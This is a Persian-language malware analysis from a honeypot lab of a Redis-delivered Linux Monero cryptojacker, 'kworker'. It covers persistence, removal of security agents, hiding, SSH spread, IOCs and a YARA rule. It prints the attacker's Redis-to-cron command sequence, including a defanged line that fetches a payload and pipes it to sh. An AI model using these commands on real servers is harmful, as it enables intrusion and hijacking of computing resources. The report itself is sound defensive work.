این صفحه یک ترجمه است. نسخهٔ انگلیسی متن معتبر است. خواندن نسخهٔ انگلیسی
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: رمزارزکاوی که حذفکننده خودش را همراه میآورد
Kinryū Labs مشاهده کرد که یک رمزارزدزد از تبار 8220 در حدود پنج ثانیه یک درگاه باز و بدون گذرواژه Redis را به پوسته root تبدیل کرد. این دراپر، اسکریپت پوستهای 636 خطی به نام kworker، عاملهای امنیتی ابری Alibaba و Tencent را با ابزارهای خودِ همان فروشندگان حذف میکند، 200 خط را صرف کشتن ماینرهای رقیب میکند، در SSH درِ پشتی میگذارد، یک ماینر Monero از نوع XMRig را پشت ps، top و pstree جعلی پنهان میکند و میکوشد مانند کرم به میزبانهای دیگر گسترش یابد.
نوشتهٔ Davis Zheng·
TLP:CLEAR. برای انتشار عمومی تأیید شده است. ثبتشده توسط شبکه حسگرهای هانیپات Kinryū Labs. شاخصهای زیر بیخطرسازی شدهاند.
خلاصه مدیریتی
- ~5 ثانیهاز درگاه باز Redis تا چهار درِ پشتی cron با دسترسی root
- 636خط bash، یک کیت کامل تصرف میزبان
- 2حذفکننده فروشنده، کدشده با base64 در خودِ اسکریپت
- 80+ماینر رقیب در فهرست کشتار
شش دقیقه پس از نیمهشب به وقت UTC، چیزی به درگاه Redis یکی از هانیپاتهای ما اتصال برقرار کرد، یک INFO تنها اجرا کرد تا ببیند با چه چیزی طرف است، و ارتباط را قطع کرد. دو ثانیه بعد بازگشت و به کار افتاد. تا لحظهای که قطع کرد، در کل پنج ثانیه، جدول cron سرور را به چهار شکل مختلف بازنویسی کرده و همه آنها را به یک فایل واحد نشانه گرفته بود: اسکریپت پوستهای به نام kworker.
ما هرگز اجازه اجرای آن را ندادیم. اسکریپت هرگز اجرا نشد؛ آنچه در اختیار داریم خودِ اسکریپت و توالی فرمانهای مهاجم است. پس آنچه برای ما مانده اسکریپت بهطور کامل است، تمام 636 خط، و توالی کامل فرمانهای مهاجم. خواندن این دو در کنار هم مقطعی روشن از جایگاه کنونی رمزارزدزدی متعارف در Linux در سال 2026 به دست میدهد و kworker نمونه خوبی است، چون تقریباً هر چیزی را که این گونه تا امروز ابداع کرده است انجام میدهد. یک کار را هم با خونسردی تمام انجام میدهد: آنتیویروس شما را با حذفکننده خودِ سازنده آنتیویروس حذف میکند.
- رمزارزدزدی متعارف از تبار 8220 Gang / kworkerds، فرصتجویانه و بدون هدفگیری مشخص (اطمینان متوسط). تحویل از طریق Redis، ابزارهای دانلود تغییرنامیافته، فایل قفل
/etc/javaeو فهرست کشتار عظیم، همه از نشانههای شاخص این خانوادهاند. ما در سطح متوسط میمانیم و بالاتر نمیرویم، چون این کدی است که بهطور گسترده فورک شده و گروهها آن را دستبهدست و بازفروش میکنند؛ پس این نام به یک تبار اشاره دارد، نه به یک نویسنده واحد. - هدف، استخراج Monero است (اطمینان بالا). تمام هدف اسکریپت این است که
javae، یک نسخه ساختهشده از XMRig، را دریافت کند و پس از فعالکردن huge pages برای آن، اجرایش کند. هر چیز دیگری برای خالیکردن میدان و نگهداشتن میزبان وجود دارد. - نرمافزاری پخته و پرکاربرد، نه پروژه آخر هفته کسی (اطمینان بالا). خطوط cron خودِ نفوذ،
cd1وwd1را فراخوانی میکنند؛ ابزارهایی که فقط پس از نصب kworker وجود دارند. این کیت از پیش وجود خودش را مفروض میگیرد و این نشانه کدی است که مدتی در گردش بوده است. - غیبت کیف پول عامدانه است (اطمینان بالا). اسکریپت هیچ نشانی Monero و هیچ استخری در خود ندارد؛ هر دو در فایل اجرایی ماینر قرار دارند که ما آن را به دست نیاوردیم. تنها جزئیاتی که میتوانست کارزارهای این گروه را به هم پیوند دهد، دقیقاً همان چیزی است که بیرون از اسکریپت نگه میدارند؛ همان دیواری که در RedTail به آن برخوردیم.
FLUSHALL، و سپس چهار راه به cron
Redis که بدون گذرواژه روی اینترنت باز مانده باشد سالهاست یک پوسته root یکخطی است و تکنیک بهکاررفته در اینجا همان روش قدیمی و مطمئن است. کلیدی در پایگاه داده تنظیم کن که مقدارش یک کار cron باشد. به Redis بگو پایگاه دادهاش را در پوشه cron ذخیره کند. SAVE را فراخوانی کن. Redis پایگاه دادهاش را روی دیسک مینویسد، از جمله کار cron جعلی تو، و یک دقیقه بعد cron آن را با دسترسی root اجرا میکند. بازدیدکننده ما سرور را انگشتنگاری کرد، بررسی کرد که میتواند فایلی بنویسد، حفاظی را که جلوی ذخیره ناموفق را میگیرد خاموش کرد، و این حقه را اجرا کرد.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
کل نفوذ در چند ثانیه جا میشود:
- 00:06:00 UTCاتصال، ارسال یک
INFOتنها برای انگشتنگاری سرور، قطع اتصال. - +2 ثانیهاتصال مجدد. تنظیم چهار کلید که هر یک یک خط cron را در خود دارد.
CONFIG SET dirبه پوشه cron،CONFIG SET dbfilenameبه فایل cron هدف، غیرفعالکردن stop-writes-on-bgsave-error، سپسSAVE. - +5 ثانیه در کلقطع اتصال. چهار درِ پشتی cron کار گذاشته شد، همه به `kworker` اشاره میکنند.
- +1 دقیقهروی یک میزبان واقعی، cron خط کارگذاشتهشده را با دسترسی root اجرا میکند و
kworkerرا دریافت میکند.
آنچه ارزش درنگ دارد، افزونگی است. یک کار cron ننوشت؛ همان دستور را در چهار جا نوشت، /var/spool/cron/root، /var/spool/cron/crontabs، /etc/cron.d/javae و /etc/crontab، که هم چیدمان Red Hat و هم Debian و هم هر دو نحو cron را پوشش میدهد. هر خط، kworker را با ابزاری متفاوت دریافت میکرد، cd1، wget، curl، wd1، با زمانبندی پلهای دو، سه، چهار و پنج دقیقهای. دو تا از این نامها برنامه واقعی نیستند. cd1 و wd1 نامهایی هستند که kworker پس از نصب، curl و wget را به آنها تغییر میدهد. نفوذ از پیش وجود اسکریپتی را مفروض میگیرد که تازه میخواهد دانلودش کند. کل کیت از درون سازگار است و از همینجا میفهمید که نرمافزاری پخته و پرکاربرد است، نه پروژه آخر هفته کسی.
حذفکننده خودت را بیاور
همین که root را به دست میآورد، kworker شروع میکند به پیادهکردن ساختمان. فایروال پاک میشود، ufw خاموش، SELinux به حالت permissive پایین آورده و سپس در فایل تنظیماتش غیرفعال میشود، AppArmor متوقف میشود، NMI watchdog هسته خاموش میشود، و این یکی مهم است چون یک ماینر هفتهها پردازنده را روی صد درصد نگه میدارد و watchdog یکی از چند چیزی است که ممکن بود متوجه شود. /var/log/syslog یکسره حذف میشود.
سپس به دنبال عاملهای امنیتی ابری میرود و اینجاست که اسکریپت از حالت معمولی خارج میشود. ارائهدهندگان بزرگ ابری چینی روی ماشینهای مجازی خود یک عامل میزبان عرضه میکنند: Aegis از Alibaba که آن را با نام AliYunDun در حال اجرا میبینید؛ YunJing از Tencent؛ HostGuard از Huawei. kworker وجود هر یک را بررسی میکند. هر جا عامل Alibaba را پیدا کند، تنها فرایند را نمیکشد. حذفکننده رسمی Alibaba را اجرا میکند، و برای اینکه مطمئن شود این کار حتی روی ماشینی بدون مسیر بازگشت به Alibaba هم انجام میشود، دو اسکریپت حذف Alibaba را کدشده با base64 در خود حمل میکند. ما هر دو را رمزگشایی کردیم. اصل جنساند، با تمام جزئیات از جمله برچیدن ردیابی kprobe.
حفاظت نقطهپایانی شما را پاکیزه و به همان شکلی که فروشنده در نظر داشته حذف میکند و لاگها را مرتب باقی میگذارد.
این بدیههسازی نیست. کسی پشت یک ماشین واقعی Aliyun نشسته، حذفکنندهها را برداشته و آنها را در اسکریپت جا داده است.
جنگ قلمرو، نوشتهشده به bash
اگر هرگز یکی از این اسکریپتها را نخوانده باشید، آنچه غافلگیرتان میکند این است که چه بخش بزرگی از آن به جنایتکاران دیگر معطوف است. دشمن واقعی یک ماینر، ماینر بعدی است که میکوشد همان پردازنده را اجاره کند، نه مدیر سیستم. kworker حدود دویست خط را صرف شکار رقبا میکند و با هر دستگیرهای که به دست آورد میکشد.
- بر اساس نام فرایند، از فهرست مسدودی با بیش از صد مورد:
xmrig،kinsing،kdevtmpfsi، خانوادهwatchdogsوwatchbog،ddg،sustes، وkworkerdsقدیمیتر که نام خودش از آن میآید. - بر اساس درگاه، همان درگاههایی که استخرهای استخراج و باتهای IRC روی آنها مینشینند.
- بر اساس نشانی IP درجشده در کد.
- بر اساس مصرف پردازنده، ابزار کندِ کار: هر چیزی که با نامی ناشناس بیش از 40 درصد پردازنده را بسوزاند کشته میشود، با این منطق که فرایندی ناشناس که پردازنده را میخورد، بنا به تعریف، یک ماینر رقیب است.
فایلهایشان را از /tmp و /dev/shm حذف میکند، کارهای cron آنها را برمیدارد، روتکیتهای preload را که برخی نصب میکنند پاک میکند، و دست به Docker میبرد تا ایمیجهای استخراج شناختهشده را بکشد و حذف کند. این همان زمینخواری است که در اسکریپت clean مربوط به RedTail و در killservice.sh مربوط به Rootpacket مستند کردیم؛ این گروهها همه بر سر همان ماشینهای بدتنظیم میجنگند و همه کارشان را با پاکسازی میدان آغاز میکنند.
بهطور مشخص و مکرر با TeamTNT هم بیادبانه رفتار میکند: تغییرنامهای curl و wget را که TeamTNT انجام میدهد برمیگرداند و دایرکتوریهایش را پاک میکند. هر جا Kinsing را بکشد، فایل را با کلمه fuckyou بازنویسی و قفل میکند تا Kinsing نتواند خودش را برگرداند. اینجا شرفی در میان نیست، فقط زمینخواری است، و kworker آن را سختتر از بیشترِ رقبا بازی میکند.
فهرست را از نزدیک بخوانید و به کاتالوگی از شیوههای پنهانشدن رقابت تبدیل میشود. یک دسته از اهداف خود را نخهای هسته جا میزنند، kacpi_svc، kswap_svc، kthreadd_svc، ksoftirqd_svc؛ دسته دیگری خود را دیمنهای سیستمی جا میزنند، polkitd، acpid، dbus-daemon--system، و systemctI با حرف بزرگ I در جایی که باید L باشد. kworker دقیقاً همان لباسهای مبدلی را شکار میکند که رقبایش میپوشند، همان لباسهایی که خودش چند خط بعد به آنها دست میبرد و javae را میان نامهایی مثل systemd-network و irqbalanced پنهان میکند. همه در این نزاع لباس سر و صدای خستهکننده سیستمی پوشیدهاند و همه لباس مبدل بقیه را از حفظ کردهاند.
چند هدف بههیچوجه نام نیستند. یکی L2Jpbi9iYXN است، ابتدای base64 یک فرمان /bin/bash. kworker جدول فرایندها را برای آن پیشوند کدشده grep میکند و بارگذار رقیب را از طریق بلوک base64 موجود در خط فرمانش میگیرد.
کل فهرست طولانی است، بیش از صد راه برای نامبردن فرایندی که میخواهید مرده باشد، و ارزش یک نگاه گذرا را دارد، فقط برای درک بافت این دشمنی:
فهرست کامل کشتار، برگرفته از اسکریپت ثبتشده
برگرفته از kill_miner_proc، kill_sus_proc و پاکسازی Docker. هر چیزی که اینجا آمده هدفی است که kworker شکار میکند، نه زیرساخت خودش. نشانیهای IP بیخطرسازی شدهاند.
درگاههایی که هر فرایندی را روی آنها میکشد (استخرهای استخراج، باتهای IRC، RATها، SSH جایگزین و Telnet): 23، 143، 2222، 3333، 3347، 3389، 5555، 6665، 6666، 6667، 7777، 8444، 10008، 13531.
خانوادههای شناختهشده ماینر و باتنت: xmrig، xmrig-cpu، xmrig-notls، xmr-stak، mstxmr، cnrig، minerd، minergate، cryptonight، crypto-pool، moneroocean، kinsing، kdevtmpfsi، kworkerds، kworker34، watchdogs، watchd0g، watchbog، ddg، ddg.2011، sustes، sustse، sustse3، kthrotlds، ksoftirqds، tntrecht (TeamTNT)، nanoWatch، sourplum، disk_genius، biosetjenkins، nullcrew.
رقبایی که خود را نخ هسته جا میزنند: kacpi_svc، kswap_svc، kauditd_svc، kpsmoused_svc، kseriod_svc، kthreadd_svc، ksoftirqd_svc، kintegrityd_svc، kblockd_svc، native_svc.
رقبایی که خود را دیمن سیستمی جا میزنند: polkitd، acpid، dbus-daemon--system، irqbalance، irqbalanc1، crond64، nginxk، vmlinuz، systemctI (با i بزرگ، نه systemctl)، systemten، systemxlv، svcupdate، netdns، netns، redis2، rsync، httpgd، haveged، voltuned، nqscheduler.
سایر پیلودها، اسکریپتها و نشانگرهای نامدار هر کارزار: apaceha، apachiii، mixnerdx، mixtape، performedl، conns، mgwsl، pythno، jweri، lx26، i586، gddr، askdljlqw، ysaydh، bonns، donns، kxjd، nopxi، deamon، zigw، devtool، devtools، suppoie، exin، xr، jawa، ynn، servim، darwin، sysstats، Loopback، XJnRj، NXLAi، BI5zj، icb5o، wnTKYg، 2t3ik، qW3xT.2، hahwNEdB، CnzFVPLF، CvKzzZLs، OIcJi1m، IOFoqIgyC0zmf2UR، 65ccEJ7، jmxx، 2Ne80nA، C4iLM4L، Guard.sh، Duck.sh، bonn.sh، conn.sh، kw.sh، pro.sh، mr.sh، 2mr.sh، cr5.sh، he.sh، miner.sh، l.sh، z3.sh، lower.sh، ndt.sh، logo9.jpg، oracle.jpg، init10.cfg، init12.cfg، j2.conf، zer0day.ru، gitee.com.
راهاندازهای مغشوششده و تنظیمات رهاشده: ./ppp، ./vsp، ./jvs، ./pvv، ./vpp، ./pces، ./rspce، ./jiba، ./haveged، ./watchbog، ./servceaess و همزادهای غلطنوشتهاش، mwyumwdbpq.conf، honvbsasbf.conf، mqdsflm.cf، /wl.conf، wc.confz، بهعلاوه نشانگر گهواره base64 یعنی L2Jpbi9iYXN (آغاز یک تکخطی /bin/bas...).
نشانیهای IP استخر و C2 رقبا که بهمحض دیدن شلیک میکند: 45.76.122[.]92، 51.38.191[.]178، 51.15.56[.]161، 104.248.4[.]162، 89.35.39[.]78، 107.174.47[.]156، 107.174.47[.]181، 83.220.169[.]247، 51.38.203[.]146، 144.217.45[.]45، 176.31.6[.]16، 46.243.253[.]15، 200.68.17[.]196، 188.209.49[.]54، 181.214.87[.]241، 121.42.151[.]137.
ایمیجها و کانتینرهای Docker که میکشد و حذف میکند: کانتینرهایی با نام pocosow، gakeaws، azulu، auto، xmr، mine، slowhttp، bash.shell؛ ارجاعهای ایمیج pocosow، gakeaws، buster-slim، hello-، azulu، registry، xmr، monero، mine، slowhttp.
و ابزار کندِ کار: هر چیزی با مصرف بیش از 40 درصد پردازنده که با javae مطابقت نداشته باشد کشته میشود، همچنین هر چیزی با مصرف بیش از 10 درصد که نامش شبیه نخ هسته داخل کروشه باشد، هر چیزی که از /tmp اجرا میشود، و هر فرایندی با نامی بهطور مشکوکی بلند.
اکنون آن را نمیبینید
پس از خالیکردن میدان، بازیکن خودش را پنهان میکند. ps، top و pstree را با پوششهای دوخطی جایگزین میکند که فایلهای اجرایی واقعی را فراخوانی میکنند و بیصدا هر خطی را که به ماینر (javae) یا اسکنر همراهش (pnscan) اشاره کند فیلتر میکنند، سپس تاریخ نسخههای جعلی را به 2016 عقب میبرد تا نو به نظر نرسند. روی یک ماشین آلوده ps را اجرا کنید و ماینر بهسادگی در فهرست نیست.
نام ماینر هم بهگونهای انتخاب شده که در جدول فرایندها ناپدید شود: javae در کنار فایلهای قفلی که با نامهایی مثل systemd-network، irqbalanced و kswaped کار گذاشته شدهاند، و هر یک طوری انتخاب شده که مثل سر و صدای خستهکننده سیستمی خوانده شود.
یک کلید، و راهی به همسایهها
دو حرکت دیگر تصرف را کامل میکند.
کلید عمومی SSH گرداننده، که توضیح آن فقط uc1 است، را در authorized_keys مربوط به root مینویسد و فایل را تغییرناپذیر میکند، پس متوجهشدنش کافی نیست؛ باید بیت immutable را پاک کنید تا حتی بتوانید حذفش کنید. این دسترسی مستقیمی است که از پاکسازی ماینر جان سالم به در میبرد.
سپس میکوشد گسترش یابد. known_hosts مربوط به root، یعنی فهرست هر ماشینی که این جعبه به آن وارد شده است، را میخواند و تلاش میکند با کلیدهایی که از قبل روی دیسک افتادهاند به هر یک SSH بزند، و روی هر چیزی که راهش بدهد یک تکخطی اجرا میکند که kworker را از نشانی پشتیبان میگیرد و کل داستان را از نو آغاز میکند. کرم سریعی نیست و به رهاشدن کلیدهای بدون گذرواژه تکیه دارد، اما در آن دست ناوگانهایی که معمولاً چنین کلیدهایی در آنها رها شده است، همین کافی است.
ماینر، و کیف پولی که به دست نیاوردیم
با تمام این ماشینآلات، آنچه واقعاً پول درمیآورد بینمک است: فایلی دوم، javae، نسخهای از XMRig که Monero استخراج میکند. kworker صفحات بزرگ را روشن میکند (vm.nr_hugepages روی 128، یک تندساز استاندارد XMRig)، javae را در /etc رها میکند و اجرایش میکند.
شکاف این گزارش اینجاست. ما javae را نداریم و کیف پول را هم نداریم. اسکریپت هیچ نشانی Monero و هیچ استخری در خود ندارد؛ اینها در فایل اجرایی ماینر پخته شدهاند که در زمان اجرا دریافت میشود، و C2 آن را به هیچیک از سندباکسهای عمومی که این نمونه را بررسی کردهاند تحویل نداد، پس چیزی برای واکاوی غیرفعال وجود ندارد. هر کسی که kworker را بهتنهایی تحلیل کند به همین دیوار میخورد. کیف پول تنها چیزی است که میتوانست کارزارهای این گروه را به هم پیوند دهد، و دقیقاً همان چیزی است که بیرون از اسکریپت نگه میدارند.
میزبانی روی Cloudflare، از روی قصد
هم اسکریپت و هم ماینر از download.logltech[.]workers[.]dev میآیند، یک نشانی Cloudflare Workers، و این انتخابی عامدانه است. Workers رایگان است، بهطور پیشفرض HTTPS است، از اعتبار Cloudflare قرض میگیرد و بنابراین بیدردسر از فهرستهای مسدودی دامنه میگذرد، و هر مبدأیی را که گرداننده واقعاً در اختیار دارد پنهان میکند. هر URL پیلود به Cloudflare اشاره میکند؛ مبدأ واقعی گرداننده هرگز فاش نمیشود.
کانال پشتیبان، که کرم از آن استفاده میکند، tutorial.clashverge[.]space است که در اواخر فوریه ثبت شده است. هر نشانی IP دیگری که در اسکریپت درج شده به رقیبی تعلق دارد که kworker مرگش را میخواهد، پراکنده روی ماشینهای Vultr، OVH و DigitalOcean و یک میزبان Alibaba Cloud در Hangzhou، و بههیچوجه به این گرداننده. نشانیهای IP درجشده را یک فهرست هدف بخوانید، نه زیرساخت.
از آنِ کیست؟
پس با احتیاط. این رمزارزدزدی متعارف از تباری است که معمولاً زیر عنوان 8220 Gang یا kworkerds ثبت میشود. تمام نشانهها حاضرند: تحویل با تزریق cron از طریق Redis، تغییرنام curl به cd1، فایل قفل /etc/javae، گسترنده pnscan، فهرست کشتار عظیم. موتورهای آنتیویروس بر سر یک نام به توافق نمیرسند، و همین خودش نکته اصلی است. ClamAV آن را Rocke مینامد، Rising برچسب TeamTNT میزند، بقیه فقط میگویند CoinMiner. این اسکریپتها میان نیمدوجین گروه کپی، ادغام و بازفروش میشوند، و kworker چندی از خانوادههایی را میکشد که خودش با آنها نسبت دارد.
خانواده را یک محله بدانید، نه یک اثر انگشت.
تمرکز بر عاملهای ابری چینی، و یک همزاد PowerShell در Windows که VirusTotal آن را به همین نمونه پیوند میدهد، تصویر را کامل میکنند، اما گزاره ایمن همان گزاره فروتنانه است. بهطور گسترده فورکشده، با انگیزه مالی، بدون هدفگیری مشخص، و نه تازه. اطمینان متوسط، و در همین سطح راحت.
شاخصهای نفوذ
شبکه
| شاخص | زمینه |
|---|---|
download.logltech[.]workers[.]dev | C2 (اصلی)، Cloudflare Workers. مسیر /up/down/api/{kworker, javae, cb.txt} را ارائه میدهد |
tutorial.clashverge[.]space | C2 (پشتیبان)، مورد استفاده کرم. ثبتشده در 27 فوریه 2026 |
170.9.225[.]197 | نشانی IP مبدأ که به هانیپات Redis زد |
میزبان *.workers.dev + درخواست GET زیر /up/down/api/ | الگوی دریافت پیلود که روی ترافیک شبکه ارزش بررسی دقیق دارد |
فایلها (SHA-256 / MD5)
| فایل | SHA-256 | MD5 |
|---|---|---|
kworker (دراپر) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (ماینر XMRig) | به دست نیامد، 5,685,096 بایت مورد انتظار |
کلید درِ پشتی SSH: توضیح uc1، اثر انگشت کلید عمومی SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. آن را در authorized_keys سراسر داراییهای خود جستوجو کنید.
آثار روی میزبان
| مسیر | زمینه |
|---|---|
/etc/kworker، /etc/javae، /etc/cron.d/javae، /tmp/{kworker,javae} | فایلهای رهاشده |
/usr/bin/cd1 (پیشتر curl)، /usr/bin/wd1 (پیشتر wget) | ابزارهای دانلود تغییرنامیافته |
/bin/ps.original، /bin/top.original، /bin/pstree.original | فایلهای اجرایی واقعی که پشت پوششهای تروجانیشده ذخیره شدهاند |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | فایلهای قفلنام تغییرناپذیر و تکرقمی |
vm.nr_hugepages = 128 | صفحات بزرگ فعالشده برای XMRig |
رفتاری
- یک
ps،topیاpstreeکه در واقع اسکریپت پوستهای است و خروجی را ازgrep -vمیگذراند. - یک
authorized_keysکه شما ننوشتهاید و به توضیحuc1پایان مییابد. - کارهای cron که
sh /etc/kworkerیاsh /tmp/kworkerرا اجرا میکنند، و یک/etc/cron.d/javaeکه نباید وجود داشته باشد. - فایلهای تغییرناپذیر و تکرقمی در
/usr/bin/kswapedو همراهانش. - یک
curlوwgetکه بهcd1وwd1تغییرنام یافتهاند. vm.nr_hugepagesکه بیصدا روی 128 تنظیم شده است.
شناسایی
نشانههای سمت میزبان وقتی آنها را بشناسید پرسروصدا هستند، و در بالا فهرست شدهاند. روی شبکه، هر چیزی که میزبانی از نوع *.workers.dev را resolve کند و مسیرهایی زیر /up/down/api/ را درخواست کند سزاوار بررسی دقیق است. در ادامه یک قاعده YARA آمده که روی رشتههای پایدار عمل میکند. رشتههای زنده را از روی قصد و برای شناسایی در خود دارد.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
این چه چیزی را باید تغییر دهد
هیچیک از اینها پیچیده نیست، و درس همین است. kworker وارد شد چون یک درگاه Redis بدون گذرواژه باز بود، اشتباهی از جنس 2018 که در 2026 هم هنوز سود میدهد. هر چیزی پس از آن، حذف EDR و روتکیت و کرم، فقط به این دلیل اهمیت داشت که درِ ورودی قفل نبود.
- Redis یا هر پایگاه داده دیگری را در معرض اینترنت قرار ندهید و احراز هویت را برای آن الزامی کنید. یک سرویس باز را نفوذ به کل میزبان بدانید، نه نفوذ به یک سرویس.
- cron و
authorized_keysرا مثل کد محیط عملیاتی زیر نظر بگیرید، چون برای یک مهاجم دقیقاً همیناند. - عامل ابری روی ماشین را تور نجات ندانید. نخستین واکنش kworker این بود که جلو برود و آن را، مؤدبانه و با ابزارهای خودِ فروشنده، حذف کند.
نقشهبرداری MITRE ATT&CK
| تاکتیک | تکنیک |
|---|---|
| دسترسی اولیه | T1190 Exploit Public-Facing Application (Redis) |
| اجرا | T1059.004 Unix Shell |
| پایداری | T1053.003 Cron؛ T1098.004 SSH Authorized Keys |
| فرار از دفاع | T1562.001 Impair Defenses: Disable or Modify Tools (حذف عامل ابری و EDR)؛ T1562.004 Disable or Modify System Firewall؛ T1070.002 Clear Linux or Mac System Logs؛ T1014 Rootkit (نسخه تروجانیشده ps/top/pstree)؛ T1036.005 Masquerading: Match Legitimate Name؛ T1222.002 Linux File and Directory Permissions Modification (chattr +i)؛ T1070.006 Timestomp (نسخههای جعلی با تاریخ عقببرده) |
| کشف | T1057 Process Discovery (شکار رقبا)؛ T1518.001 Security Software Discovery (عاملهای ابری)؛ T1046 Network Service Scanning (pnscan) |
| حرکت جانبی | T1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer |
| فرمان و کنترل | T1071.001 Web Protocols؛ T1102 Web Service (Cloudflare Workers)؛ T1105 Ingress Tool Transfer |
| تأثیر | T1496 Resource Hijacking (استخراج Monero) |
روششناسی و یادداشتهای تحلیلگر
- تحلیل ایستا و غیرفعال بود. دراپر هرگز اجرا نشد و با هیچ زیرساخت مهاجمی تماسی گرفته نشد. یافتهها از خواندن کامل اسکریپت 636 خطی ثبتشده، رمزگشایی حذفکنندههای base64 تعبیهشده، و بازبینی نشست ضبطشده Redis به دست آمدهاند.
- شاخصهای بالا بیخطرسازی شدهاند. قاعده YARA رشتههای زنده را بهطور عامدانه و برای شناسایی در خود دارد.
- ماینر مرحله دوم (
javae) و کیف پول Monero را در اختیار نداریم. اسکریپت هیچیک را حمل نمیکند؛ هر دو در فایل اجرایی ماینر قرار دارند که در زمان اجرا دریافت میشود و C2 آن را به سندباکسهای عمومی تحویل نداد. به دست آوردن کیف پول به یک اجرای زنده همراه با ضبط ترافیک شبکه نیاز دارد که ما آن را انجام ندادیم. - نمونهها (دراپر و حذفکنندههای رمزگشاییشده) در صورت درخواست برای سایر پژوهشگران و مدافعان در دسترس است. به contact@kinryu.sh ایمیل بزنید و در یادداشتی کوتاه بنویسید چه کسی هستید و برای چه به آنها نیاز دارید.